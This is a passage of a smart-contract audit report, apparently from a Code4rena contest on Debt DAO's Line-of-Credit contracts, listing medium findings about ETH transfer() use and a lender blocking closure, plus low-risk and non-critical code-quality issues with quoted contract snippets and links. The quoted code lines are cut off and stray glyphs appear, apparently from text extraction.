
- checking the before and after balance of token transfer
- recording the relative shares of each user instead of specific amount
- if necessary, call ERC20 (token) .balanceOf() to confirm the balance
- disallow such kind of tokens

dmvt (judge) commented:

This issue encompasses all 'non-standard' ERC20 tokens and their potential side effects within the system. Special mention for report <u>#350</u>, which adds a case this report fails to capture.

kibagateaux (Debt DAO) disputed

```
[M-10] address.call{value:x}() should be used instead of
payable.transfer()
```

Submitted by __141345__, also found by IIIIIII, BnkeOxO, SmartSek, d3e4, pashov, Deivitto, bananasboys, joestakey, RedOneN, cryptonue, datapunk, minhquanym, Ch_301, adriro, cccz, peanuts, Tomo, merlin, corerouter, RaymondFam, codexploder, BnkeOxO, KingNFT, carlitox477, Satyam_Sharma, Nyx, 8olidity, cloudjunky, OxdeadbeefOx, martin, rvierdiiev, and Amithuddar

When withdrawing and refund ETH, the contract uses Solidity's transfer() function.

Using Solidity's transfer() function has some notable shortcomings when the withdrawer is a smart contract, which can render ETH deposits impossible to withdraw. Specifically, the withdrawal will inevitably fail when:

- The withdrawer smart contract does not implement a payable fallback function.
- The withdrawer smart contract implements a payable fallback function which uses more than 2300 gas units.
- The withdrawer smart contract implements a payable fallback function which needs less than 2300 gas units but is called through a proxy that raises the call's gas usage above 2300.

Risks of reentrancy stemming from the use of this function can be mitigated by tightly following the "Check-Effects-Interactions" pattern and using OpenZeppelin Contract's ReentrancyGuard contract.

ত Proof of Concept

```
// Line-of-Credit/contracts/utils/LineLib.sol
48: payable(receiver).transfer(amount);
```

ശ

References:

The issues with transfer() are outlined here.

For further reference on why using Solidity's transfer() is no longer recommended, refer to these <u>articles</u>.

ര

Recommended Mitigation Steps

Using low-level call.value(amount) with the corresponding result check or using the OpenZeppelin Address.sendValue is advised, reference.

kibagateaux (Debt DAO) confirmed

ക

[M-11] Lender can reject closing a position

Submitted by berndartmueller, also found by R2, minhquanym, Jeiwan, ayeslick, and OxdeadbeefOx

A credit line can be closed by using the LineOfCredit.depositAndClose() or LineOfCredit.close. The remaining funds deposited by the lender (credit.deposit) and the accumulated and paid interest are transferred to the lender.

However, if the used credit token <code>credit.token</code> is native ETH (or an ERC-777 token with receiver hooks, and under the assumption that the oracle supports this asset in the first place), the lender can reject the closing of the credit by reverting the token transfer.

യ Impact

The lender can prevent the borrower from closing the credit line. This leads to the following consequences:

- Migrating (rollover) to a new line is not possible (it requires all credits to be closed, see <u>SecuredLine.sol#L55</u>)
- Releasing a spigot and transferring ownership to the borrower is not possible (see <u>SpigotedLineLib.sol#L195</u>)
- Sweeping remaining tokens (e.g. revenue tokens) in the Spigot to the borrower is not possible (see <u>SpigotedLineLib.sol#L220</u>)

ত Proof of Concept

modules/credit/LineOfCredit.sol#L489-L493

```
delete credits[id]; // gas refunds

// remove from active list
ids.removePosition(id);
unchecked { --count; }

// If all credit lines are closed the the overall Line of Cr
if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }

emit CloseCreditPosition(id);

return true;
}
```

രാ

Recommended Mitigation Steps

Consider using a pull-based pattern to allow the lender to withdraw the funds instead of sending them back directly.

kibagateaux (Debt DAO) confirmed

 \mathcal{O}

Low Risk and Non-Critical Issues

For this contest, 78 reports were submitted by wardens detailing low risk and non-critical issues. The <u>report highlighted below</u> by **IIIIIII** received the top score from the judge.

The following wardens also submitted reports: ajtra, brgltd, pashov, rbserver, c3phas, OxNazgul, Awesome, immeas, jumpdest7d, Deivitto, rotcivegaf, lukrisO2, joestakey, Josiah, djxploit, OxSmartContract, Trust, pedrO2b2, B2, AymenO9O9, RedOneN, cryptostellar5, Diana, Funen, bulej93, cryptonue, a12jmx, delfin454000, ctf_sec, __141345__, minhquanym, adriro, erictee, TomJ, zaskoh, peanuts, merlin, btk, seyni, ReyAdmirado, Ox1f8b, saneryee, slowmoses, shark, HardlyCodeMan, apostleOxO1, tnevler, BClabs, carlitox477, Rahoz, sakman, gogo, OxRoxas, catwhiskeys, durianSausage, csanuragjain, fatherOfBlocks, trustindistrust, Deekshith99, wOLfrum, aphak5010, Saintcode_, Nyx, oyc_109, i_got_hacked, chObu, rvierdiiev, BnkeOxO, Rolezn, chrisdior4, mcwildy, HE1M, chaduke, martin, Dinesh11G, yurahod, and RaymondFam.

 \mathcal{O}

Low Risk Issues Summary

	Issue	Instance s
[L-O1]	Unused/empty receive() / fallback() function	1
[L-02	Missing checks for address (0x0) when assigning values to address state variables	5
[L-O3	Open TODOs	2

Total: 8 instances over 3 issues

ക

[L-O1] Unused/empty receive() / fallback() function

If the intention is for the Ether to be used, the function should call another function, otherwise it should revert (e.g. require (msg.sender == address (weth))). Having no access control on the function means that someone may send Ether to the contract, and have no way to get anything back out, which is a loss of funds.

There is 1 instance of this issue:

File: contracts/modules/credit/SpigotedLine.sol

272: receive() external payable {}

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L272</u>

ക

[L-02] Missing checks for address (0x0) when assigning values to address state variables

There are 5 instances of this issue:

```
56: arbiter = arbiter_;
57: borrower = borrower;
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/

https://github.com/debtdao/Line-of-

credit/LineOfCredit.sol#L56

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L66</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/escrow/Escrow.sol#L49</u>

ശ

[L-03] Open TODOs

Code architecture, incentives, and error handling/reporting questions/issues should be resolved before deployment.

There are 2 instances of this issue:

```
File: contracts/modules/factories/LineFactory.sol

140: // TODO: test
```

145: // TODO: test

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/factories/LineFactory.sol#L140</u>

ക

Non-Critical Issues Summary

	Third is a control of the control of	
	Issue	Instanc es
[N-01]	Duplicate import statements	1
[N-O 2]	The nonReentrant modifier should occur before all other modifiers	2
[N-O 3]	Contract implements interface without extending the interface	1
[N-O 4]	Adding a return statement when the function defines a named return variable, is redundant	5
[N-O 5]	require() / revert() statements should have descriptive reason strings	23
[N-0 6]	constant s should be defined rather than using magic numbers	7
[N-O 7]	Numeric values having to do with time should use time units for readability	1
[N-O 8]	Use a more recent version of solidity	1
[N-O 9]	Use a more recent version of solidity	6
[N-10]	Use scientific notation (e.g. 1e18) rather than exponentiation (e.g. 10**18)	1
[N-11]	Constant redefined elsewhere	5
[N-12]	Inconsistent spacing in comments	2
[N-13]	Non-library/interface files should use fixed compiler versions, not floating ones	5
[N-14]	File does not contain an SPDX Identifier	16

	Issue	Instanc es
[N-15]	NatSpec is incomplete	56
[N-16]	Event is missing indexed fields	4
[N-17]	Not using the named return variables anywhere in the function is confusing	2
[N-18]	Duplicated require() / revert() checks should be refactored to a modifier or function	2

Total: 140 instances over 18 issues

ക

[N-O1] Duplicate import statements

There is 1 instance of this issue:

```
File: contracts/utils/CreditLib.sol
6:  import { ILineOfCredit } from "../interfaces/ILineOfCredit
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L6</u>

ക

[N-O2] The nonReentrant modifier should occur before all other modifiers

This is a best-practice to protect against reentrancy in other modifiers.

There are 2 instances of this issue:

```
File: contracts/modules/credit/SpigotedLine.sol

96: nonReentrant

157: nonReentrant
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L96</u>

രാ

[N-03] Contract implements interface without extending the interface

Not extending the interface may lead to the wrong function signature being used, leading to unexpected behavior. If the interface is in fact being implemented, use the override keyword to indicate that fact.

There is 1 instance of this issue:

```
File: contracts/modules/spigot/Spigot.sol

/// @audit IPendleData.treasury()

16: contract Spigot is ISpigot, ReentrancyGuard {
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L16</u>

ര

[N-04] Adding a return statement when the function defines a named return variable, is redundant

There are 5 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
453: return id;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L453

160: return credit;

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L160</u>

```
File: contracts/utils/SpigotLib.sol

57: return claimed;

101: return claimed;

121: return claimed;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/SpigotLib.sol#L57</u>

[N-05] require() / revert() statements should have descriptive reason strings

There are 23 instances of this issue:

```
File: contracts/modules/credit/EscrowedLine.sol

64: require(escrow_.liquidate(amount, targetToken, to));

90: require(escrow.updateLine(newLine));
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/EscrowedLine.sol#L64

```
File: contracts/modules/credit/LineOfCredit.sol

112: require(uint(status) >= uint( LineLib.STATUS.ACTIV)
```

```
241: require(interestRate.setRate(id, drate, frate));
259: require(interestRate.setRate(id, drate, frate));
326: require(amount <= credit.principal + credit.interestRate);</pre>
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L112

```
File: contracts/modules/credit/SpigotedLine.sol

62: require(defaultRevenueSplit_ <= SpigotedLineLib.M/

143: require(amount <= unusedTokens[credit.token]);

160: require(msg.sender == borrower);

239: require(msg.sender == arbiter);
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L62</u>

```
File: contracts/utils/EscrowLib.sol

91: require(amount > 0);

105: require(msg.sender == ILineOfCredit(self.line).ark

161: require(amount > 0);

198: require(amount > 0);

216: require(msg.sender == self.line);
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Escr

owLib.sol#L91

```
File: contracts/utils/SpigotedLineLib.sol

147: require(ISpigot(spigot).updateOwner(newLine));
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L147

```
File: contracts/utils/SpigotLib.sol

96: require(LineLib.sendOutTokenOrETH(token, self.

128: require(revenueContract != address(this));

130: require(self.settings[revenueContract].transferOwr

155: require(success);

180: require(newOwner != address(0));

189: require(newOperator != address(0));

201: require(newTreasury != address(0));
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/SpigotLib.sol#L96</u>

ക

[N-06] constant s should be defined rather than using magic numbers

Even <u>assembly</u> can benefit from using readable constants instead of hex/numeric literals.

There are 7 instances of this issue:

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L140</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L42</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/SpigotLib.sol#L90</u>

<u>ی</u>

[N-07] Numeric values having to do with time should use time units for readability

There are <u>units</u> for seconds, minutes, hours, days, and weeks, and since they're defined, they should be used.

There is 1 instance of this issue:

```
File: contracts/modules/factories/LineFactory.sol
/// @audit 3000
14:     uint32 constant defaultMinCRatio = 3000; // 30.00% mir
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/factories/LineFactory.sol#L14</u>

ര

[N-08] Use a more recent version of Solidity

Use a Solidity version of at least 0.8.12 to get string.concat() to be used instead of abi.encodePacked(<str>, <str>).

There is 1 instance of this issue:

```
File: contracts/utils/MutualConsent.sol
3: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/MutualConsent.sol#L3</u>

₽

[N-09] Use a more recent version of Solidity

Use a Solidity version of at least 0.8.13 to get the ability to use using for with a list of free functions.

There are 6 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
1: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L1

```
File: contracts/modules/credit/SpigotedLine.sol
1: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L1</u>

```
File: contracts/modules/escrow/Escrow.sol
1: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/escrow/Escrow.sol#L1

```
File: contracts/modules/spigot/Spigot.sol
1: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L1</u>

```
File: contracts/utils/EscrowLib.sol
```

```
1: pragma solidity 0.8.9;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L1</u>

```
File: contracts/utils/LineLib.sol

1: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L1</u>

ക

[N-10] Use scientific notation (e.g. 1e18) rather than exponentiation (e.g. 10**18)

While the compiler knows to optimize away the exponentiation, it's still better coding practice to use idioms that do not require compiler optimization, if they exist.

There is 1 instance of this issue:

```
File: contracts/utils/EscrowLib.sol

42: uint256 numerator = collateralValue * 10**5; // s
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L42</u>

ര

[N-11] Constant redefined elsewhere

Consider defining in only one contract so that values cannot become out of sync when only one location is updated. A <u>cheap way</u> to store constants in a single location is to create an <u>internal constant</u> in a <u>library</u>. If the variable is a local

cache of another contract's value, consider making the cache variable internal or private, which will require external users to query the contract with the source of truth, so that callers don't get out of sync.

There are 5 instances of this issue:

```
File: contracts/modules/escrow/Escrow.sol

/// @audit seen in contracts/modules/credit/LineOfCredit.sol
27:         address public immutable oracle;

/// @audit seen in contracts/modules/credit/LineOfCredit.sol
29:         address public immutable borrower;
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/ escrow/Escrow.sol#L27

```
File: contracts/modules/factories/LineFactory.sol

/// @audit seen in contracts/modules/credit/LineOfCredit.sol

16:         address public immutable arbiter;

/// @audit seen in contracts/modules/escrow/Escrow.sol

17:         address public immutable oracle;

/// @audit seen in contracts/modules/credit/SpigotedLine.sol

18:         address public immutable swapTarget;
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/factories/LineFactory.sol#L16

ശ

[N-12] Inconsistent spacing in comments

Some lines use $// \times$ and some use $// \times$. The instances below point out the usages that don't follow the majority, within each file.

There are 2 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol

58: deadline = block.timestamp + ttl_; //the deadline

526: credits[id].principal > 0 //`id` should
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L58

ഗ

[N-13] Non-library/interface files should use fixed compiler versions, not floating ones

There are 5 instances of this issue:

```
File: contracts/modules/credit/LineOfCredit.sol
1: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/ credit/LineOfCredit.sol#L1

```
File: contracts/modules/credit/SecuredLine.sol
1: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/ credit/SecuredLine.sol#L1

```
File: contracts/modules/credit/SpigotedLine.sol
1: pragma solidity ^0.8.9;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L1</u>

```
File: contracts/modules/interest-rate/InterestRateCredit.sol
1: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L1</u>

```
File: contracts/modules/oracle/Oracle.sol
2: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/oracle/Oracle.sol#L2</u>

ക

[N-14] File does not contain an SPDX Identifier

There are 16 instances of this issue:

```
File: contracts/modules/credit/EscrowedLine.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/EscrowedLine.sol#L0

```
File: contracts/modules/credit/LineOfCredit.sol
0: pragma solidity ^0.8.9;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L0

```
File: contracts/modules/credit/SecuredLine.sol
0: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/SecuredLine.sol#L0

```
File: contracts/modules/credit/SpigotedLine.sol
0: pragma solidity ^0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L0</u>

```
File: contracts/modules/escrow/Escrow.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/escrow/Escrow.sol#L0</u>

```
File: contracts/modules/factories/LineFactory.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/factories/LineFactory.sol#L0</u>

```
File: contracts/modules/interest-rate/InterestRateCredit.sol
0: pragma solidity ^0.8.9;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L0</u>

```
File: contracts/modules/spigot/Spigot.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L0</u>

```
File: contracts/utils/CreditLib.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L0</u>

```
File: contracts/utils/CreditListLib.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditListLib.sol#L0</u>

```
File: contracts/utils/EscrowLib.sol
```

0: pragma solidity 0.8.9;

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L0</u>

```
File: contracts/utils/LineFactoryLib.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Line</u> <u>FactoryLib.sol#L0</u>

```
File: contracts/utils/LineLib.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L0</u>

```
File: contracts/utils/MutualConsent.sol

0:    // forked from https://github.com/IndexCoop/index-coop-sma
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/MutualConsent.sol#L0</u>

```
File: contracts/utils/SpigotedLineLib.sol
0: pragma solidity 0.8.9;
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u>otedLineLib.sol#L0

```
File: contracts/utils/SpigotLib.sol
0: pragma solidity 0.8.9;
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Spig</u> otLib.sol#L0

ക

[N-15] NatSpec is incomplete

There are 56 instances of this issue:

```
File: contracts/modules/credit/EscrowedLine.sol
/// @audit Missing: '@param newLine'
82
         * see SecuredlLine.rollover
8.3
84
         * @notice helper function to allow borrower to easily &
         *(@dev priviliegad internal function.
85
         * @dev MUST only be callable if line is REPAID
86
         * @return - if function successfully executed
87
        * /
88
        function rollover(address newLine) internal virtual ret
89:
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/EscrowedLine.sol#L82-L89

```
/// @audit Missing: '@param status '
415
            * @notice - updates `status` variable in storage if
416
            * @dev - privileged internal function. MUST check pa
417
418
            * @dev - does not save new status if it is the same
419
            * @return status - the current status of the line af
420
           * /
          function updateStatus(LineLib.STATUS status) interna
421:
/// @audit Missing: '@return'
433
           * @param amount - amount of tokens lender will initia
434
435
          function createCredit(
436
              address lender,
437
              address token,
              uint256 amount
438
439
440
              internal
441:
              returns (bytes32 id)
/// @audit Missing: '@param credit'
456
        /**
457
         * @dev - Reduces `principal` and/or `interestAccrued` c
458
                  Expects checks for conditions of repaying and
459
                  e.g. early repayment of principal, tokens have
460
         * @dev - privileged internal function. MUST check param
461
         * @param id - position id with all data pertaining to ]
462
         * @param amount - amount of Credit Token being repaid c
         * @return credit - position struct in memory with updat
463
464
465
          function repay(Credit memory credit, bytes32 id, uint
466
              internal
467:
              returns (Credit memory)
/// @audit Missing: '@param credit'
/// @audit Missing: '@param id'
477
478
           * @notice - checks that a credit line is fully repaid
479
           * @dev deletes credit storage. Store any data u might
480
           * @dev - privileged internal function. MUST check par
481
           * @return credit - position struct in memory with upo
           * /
482
483:
          function close (Credit memory credit, bytes 32 id) inte
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L216-L218

```
File: contracts/modules/credit/SecuredLine.sol
/// @audit Missing: '@return'
77
         * @param targetToken - token in escrow that will be sol
         * /
78
79
80
        function liquidate(
         uint256 amount,
81
          address targetToken
82
83
84
          external
85
         whileBorrowing
86:
         returns (uint256)
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/SecuredLine.sol#L77-L86

```
File: contracts/modules/escrow/Escrow.sol
/// @audit Missing: '@param line'
69
70
          * @notice - Allows current owner to transfer ownership
          * @dev - Used if we setup Escrow before Line exists
71
72
          * @return didUpdate - if function successfully execute
73
          * /
74:
          function updateLine(address line) external returns(bo
/// @audit Missing: '@return'
98
           * @param token - the token to all borrow to deposit a
99
           * /
100:
          function enableCollateral(address token) external retu
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>escrow/Escrow.sol#L69-L74

```
File: contracts/modules/oracle/Oracle.sol
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/oracle/Oracle.sol#L19-L22</u>

```
File: contracts/modules/spigot/Spigot.sol
/// @audit Missing: '@param token'
57
          /**
58
59
           * @notice - Claims revenue tokens from the Spigot (pu
60
                     - Calls predefined function in contract set
                     - Automatically sends portion to Treasury a
61
                     - There is no conversion or trade of revenu
62
                     - Assumes the only side effect of calling (
63
64
                     - Any other side effects could be dangerous
65
                     - callable by anyone
           * @param revenueContract - Contract with registered s
66
           * @param data - Transaction data, including function
67
68
           * @return claimed - The amount of revenue tokens cla
69
70
          function claimRevenue (address revenueContract, address
71
              external nonReentrant
72:
              returns (uint256 claimed)
/// @audit Missing: '@return'
106
           * @param data - tx data, including function signature
           * /
107
108:
          function operate (address revenueContract, bytes callda
/// @audit Missing: '@return'
123
           * @param setting - Spigot settings for smart contract
124
          function addSpigot (address revenueContract, Setting me
125:
/// @audit Missing: '@return'
```

```
135
           * @param revenueContract - smart contract to transfer
136
          function removeSpigot(address revenueContract)
137
138
              external
139:
              returns (bool)
/// @audit Missing: '@return'
157
           * @param newOwner - Address to give control to
158
          function updateOwner(address newOwner) external return
159:
/// @audit Missing: '@return'
168
           * @param newOperator - Address to give control to
169
170:
          function updateOperator(address newOperator) external
/// @audit Missing: '@return'
179
           * @param newTreasury - Address to divert funds to
180
181:
          function updateTreasury(address newTreasury) external
/// @audit Missing: '@return'
192
           * @param allowed - true/false whether to allow this f
           * /
193
194:
           function updateWhitelistedFunction(bytes4 func, bool
/// @audit Missing: '@return'
2.04
           * @param token Revenue token that is being garnished
205
          * /
206:
          function getEscrowed(address token) external view retu
/// @audit Missing: '@return'
213
           * @param func Function to check on whitelist
          * /
214
215
216:
          function isWhitelisted(bytes4 func) external view retu
```

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/spigot/Spigot.sol#L57-L72</u>

```
/// @audit Missing: '@param id'
/// @audit Missing: '@param amount'
/// @audit Missing: '@param lender'
/// @audit Missing: '@param token'
/// @audit Missing: '@return'
        /**
120
121
          * see ILineOfCredit. createCredit
          * @notice called by LineOfCredit. createCredit during
122
123
          * @param oracle - interset rate contract used by line
124
         * /
125
        function create (
126
            bytes32 id,
127
            uint256 amount,
128
            address lender,
129
            address token,
130
            address oracle
131
132
            external
            returns(ILineOfCredit.Credit memory credit)
133:
/// @audit Missing: '@param id'
/// @audit Missing: '@param amount'
/// @audit Missing: '@return'
        /**
163
164
          * see ILineOfCredit. repay
165
          * @notice called by LineOfCredit. repay during every r
166
          * @param credit - The lender position being repaid
         * /
167
168
        function repay(
169
          ILineOfCredit.Credit memory credit,
170
          bytes32 id,
171
          uint256 amount
172
173
          external
174:
          returns (ILineOfCredit.Credit memory)
/// @audit Missing: '@param id'
/// @audit Missing: '@param amount'
/// @audit Missing: '@return'
197
        /**
198
          * see ILineOfCredit.withdraw
          * @notice called by LineOfCredit.withdraw during every
199
200
          * @param credit - The lender position that is being by
201
         * /
202
        function withdraw (
          ILineOfCredit.Credit memory credit,
203
```

```
204
          bytes32 id,
205
          uint256 amount
206
2.07
          external
208:
          returns (ILineOfCredit.Credit memory)
/// @audit Missing: '@param credit'
/// @audit Missing: '@param id'
/// @audit Missing: '@return'
        /**
234
          * see ILineOfCredit. accrue
235
236
          * @notice called by LineOfCredit. accrue during every
237
          * @param interest - interset rate contract used by lir
         * /
238
239
        function accrue(
          ILineOfCredit.Credit memory credit,
240
         bytes32 id,
241
242
          address interest
243
244
          public
245:
          returns (ILineOfCredit.Credit memory)
```



```
File: contracts/utils/EscrowLib.sol
/// @audit Missing: '@param self'
          /**
28
29
           * @notice updates the cratio according to the collate
30
           * @dev calls accrue interest on the line contract to
           * @param oracle - address to call for collateral toke
31
32
           * @return cratio - the updated collateral ratio in 4
33
          * /
34:
          function getLatestCollateralRatio(EscrowState storage
/// @audit Missing: '@param self'
          /**
46
47
          * @notice - Iterates over all enabled tokens and calcu
          * @param oracle - address to call for collateral toker
48
          * @return totalCollateralValue - the collateral's USD
49
50
          * /
```

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Escr owLib.sol#L28-L34

```
File: contracts/utils/LineFactoryLib.sol
/// @audit Missing: '@param oracle'
/// @audit Missing: '@param arbiter'
33
34
            @notice sets up new line based of config of old lin€
            @dev borrower must call rollover() on `oldLine` with
35
            @param oldLine - line to copy config from for new ]
36
37
            @param borrower - borrower address on new line
            @param ttl - set total term length of line
38
39
            @return newLine - address of newly deployed line wit
           * /
40
          function rolloverSecuredLine(
41
              address payable oldLine,
42
43
              address borrower,
44
              address oracle,
45
              address arbiter,
              uint ttl
46
          ) external returns(address) {
47:
```

https://github.com/debtdao/Line-of-

Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/Line FactoryLib.sol#L33-L47

```
File: contracts/utils/LineLib.sol
/// @audit Missing: '@return'
32
           * @param amount - amount of tokens to send
           * /
33
          function sendOutTokenOrETH(
34
            address token,
35
36
            address receiver,
            uint256 amount
37
38
39
            external
```

```
40:
            returns (bool)
/// @audit Missing: '@return'
57
           * @param amount - amount of tokens to send
           * /
58
          function receiveTokenOrETH(
59
60
            address token,
            address sender,
61
            uint256 amount
62
63
64
           external
65:
           returns (bool)
/// @audit Missing: '@return'
78
          * @param token - address of token to check. Denominat
79
          * /
          function getBalance (address token) external view retur
80:
```

